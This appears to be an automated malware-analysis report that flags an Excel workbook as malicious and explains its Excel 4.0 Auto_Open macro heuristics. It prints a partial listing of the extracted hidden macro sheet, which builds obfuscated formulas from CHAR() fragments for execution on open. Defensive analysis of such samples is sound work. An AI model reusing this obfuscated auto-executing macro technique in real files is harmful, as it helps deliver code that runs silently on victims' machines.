MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding indicating potential malicious execution. The macros utilize dangerous formula APIs, including the RUN function, to execute arbitrary commands. The specific commands or payloads are not directly visible in the provided script excerpt, but the presence of Auto_Open and dangerous functions strongly suggests an intent to execute a second-stage payload.
Heuristics 3
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Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAMEoletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
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XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FNExcel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
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Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_macros.txt |
xlm-macro | oletools.olevba.extract_all_macros (XLM macro listing) | 23297 bytes |
SHA-256: e7b87fc424b90ecaa5b3c129faf54af3d50b7b811b7cd712cba3dd6216258e65 |
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Preview scriptFirst 1,000 lines of the extracted script
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet ' 0085 18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden - XNAG7vCFu ' 0018 29 LABEL : Cell Value, String Constant - _xlfn.CONCAT hidden len=2 ptgErr *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x1d' ' 0018 23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d Sheet!K1 ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' Sheet,Reference,Formula,Value ' XNAG7vCFu,A1,CHAR(61)&CHAR(73),"" ' XNAG7vCFu,B1,CHAR(61),"" ' XNAG7vCFu,C1,CHAR(61),"" ' XNAG7vCFu,D1,CHAR(61),"" ' XNAG7vCFu,E1,CHAR(61),"" ' XNAG7vCFu,F1,CHAR(61),"" ' XNAG7vCFu,G1,CHAR(61),"" ' XNAG7vCFu,H1,CHAR(61),"" ' XNAG7vCFu,I1,CHAR(61)&CHAR(67),"" ' XNAG7vCFu,J1,CHAR(61)&CHAR(67),"" ' XNAG7vCFu,K1,"FORMULA(A1&A2&A3&A4&A5&A6&A7&A8&A9&A10&A11&A12&A13&A14&A15&A16&A17&A18&A19&A20&A21&A22&A23&A24&A25&A26&A27&A28&A29&A30&A31&A32&A33&A34&A35&A36&A37&A38&A39&A40&A41,L1)","" ' XNAG7vCFu,A2,CHAR(70),"" ' XNAG7vCFu,B2,CHAR(73),"" ' XNAG7vCFu,C2,CHAR(73),"" ' XNAG7vCFu,D2,CHAR(73),"" ' XNAG7vCFu,E2,CHAR(73),"" ' XNAG7vCFu,F2,CHAR(67),"" ' XNAG7vCFu,G2,CHAR(73),"" ' XNAG7vCFu,H2,CHAR(65),"" ' XNAG7vCFu,I2,CHAR(65),"" ' XNAG7vCFu,J2,CHAR(76),"" ' XNAG7vCFu,K2,"FORMULA(B1&B2&B3&B4&B5&B6&B7&B8&B9&B10&B11&B12&B13&B14&B15&B16&B17&B18&B19&B20&B21&B22&B23&B24&B25&B26&B27&B28&B29&B30&B31&B32&B33&B34&B35&B36&B37&B38&B39&B40&B41,L2)","" ' XNAG7vCFu,A3,CHAR(40),"" ' XNAG7vCFu,B3,CHAR(70),"" ' XNAG7vCFu,C3,CHAR(70),"" ' XNAG7vCFu,D3,CHAR(70),"" ' XNAG7vCFu,E3,CHAR(70),"" ' XNAG7vCFu,F3,CHAR(65),"" ' XNAG7vCFu,G3,CHAR(70)&CHAR(40),"" ' XNAG7vCFu,H3,CHAR(76),"" ' XNAG7vCFu,I3,CHAR(76),"" ' XNAG7vCFu,J3,CHAR(79),"" ' XNAG7vCFu,K3,"FORMULA(C1&C2&C3&C4&C5&C6&C7&C8&C9&C10&C11&C12&C13&C14&C15&C16&C17&C18&C19&C20&C21&C22&C23&C24&C25&C26&C27&C28&C29&C30&C31&C32&C33&C34&C35,L3)","" ' XNAG7vCFu,A4,CHAR(71),"" ' XNAG7vCFu,B4,CHAR(40)&CHAR(71),"" ' XNAG7vCFu,C4,CHAR(40)&CHAR(71),"" ' XNAG7vCFu,D4,CHAR(40),"" ' XNAG7vCFu,E4,CHAR(40),"" ' XNAG7vCFu,F4,CHAR(76),"" ' XNAG7vCFu,G4,CHAR(82),"" ' XNAG7vCFu,H4,CHAR(69),"" ' XNAG7vCFu,I4,CHAR(76),"" ' XNAG7vCFu,J4,CHAR(83),"" ' XNAG7vCFu,K4,"FORMULA(D1&D2&D3&D4&D5&D6&D7&D8&D9&D10&D11&D12&D13&D14&D15&D16&D17&D18&D19&D20&D21&D22&D23&D24&D25&D26&D27&D28&D29&D30&D31&D32&D33&D34&D35,L4)","" ' XNAG7vCFu,A5,CHAR(69),"" ' XNAG7vCFu,B5,CHAR(69),"" ' XNAG7vCFu,C5,CHAR(69),"" ' XNAG7vCFu,D5,CHAR(71)&CHAR(69),"" ' XNAG7vCFu,E5,CHAR(73)&CHAR(83),"" ' XNAG7vCFu,F5,CHAR(76)&CHAR(40),"" ' XNAG7vCFu,G5,CHAR(91),"" ' XNAG7vCFu,H5,CHAR(82),"" ' XNAG7vCFu,I5,CHAR(40),"" ' XNAG7vCFu,J5,CHAR(69),"" ' XNAG7vCFu,K5,"FORMULA(E1&E2&E3&E4&E5&E6&E7&E8&E9&E10&E11&E12&E13&E14&E15&E16&E17&E18&E19&E20&E21&E22&E23&E24&E25&E26&E27&E28&E29&E30&E31&E32&E33&E34&E35&E36&E37&E38&E39&E40&E41&E42&E43&E44&E45&E46&E47&E48&E49&E50&E51&E52&E53&E54&E55&E56&E57&E58&E59&E60&E61&E62&E63,L5)","" ' XNAG7vCFu,A6,CHAR(84),"" ' XNAG7vCFu,B6,CHAR(84),"" ' XNAG7vCFu,C6,CHAR(84),"" ' XNAG7vCFu,D6,CHAR(84),"" ' XNAG7vCFu,E6,CHAR(78),"" ' XNAG7vCFu,F6,CHAR(34),"" ' XNAG7vCFu,G6,CHAR(45),"" ' XNAG7vCFu,H6,CHAR(84)&CHAR(40),"" ' XNAG7vCFu,I6,CHAR(34),"" ' XNAG7vCFu,J6,CHAR(40)&CHAR(70),"" ' XNAG7vCFu,K6,"FORMULA(F1&F2&F3&F4&F5&F6&F7&F8&F9&F10&F11&F12&F13&F14&F15&F16&F17&F18&F19&F20&F21&F22&F23&F24&F25&F26&F27&F28&F29&F30&F31&F32&F33&F34&F35&F36&F37&F38&F39&F40&F41&F42&F43&F44&F45&F46&F47&F48&F49&F50&F51&F52&F53&F54&F55&F56&F57&F58&F59&F60&F61&F62&F63&F64&F65&F66&F67&F68&F69&F70&F71&F72&F73&F74&F75&F76&F77&F78&F79&F80&F81&F82&F83&F84&F85&F86&F87&F88&F89&F90&F91&F92&F93&F94&F95&F96&F97&F98&F99&F100&F101&F102&F103&F104&F105&F106&F107&F108&F109&F110&F111&F112&F113&F114&F115&F116,L6)","" ' XNAG7vCFu,A7,CHAR(46),"" ' XNAG7vCFu,B7,CHAR(46),"" ' XNAG7vCFu,C7,CHA ... (truncated) |
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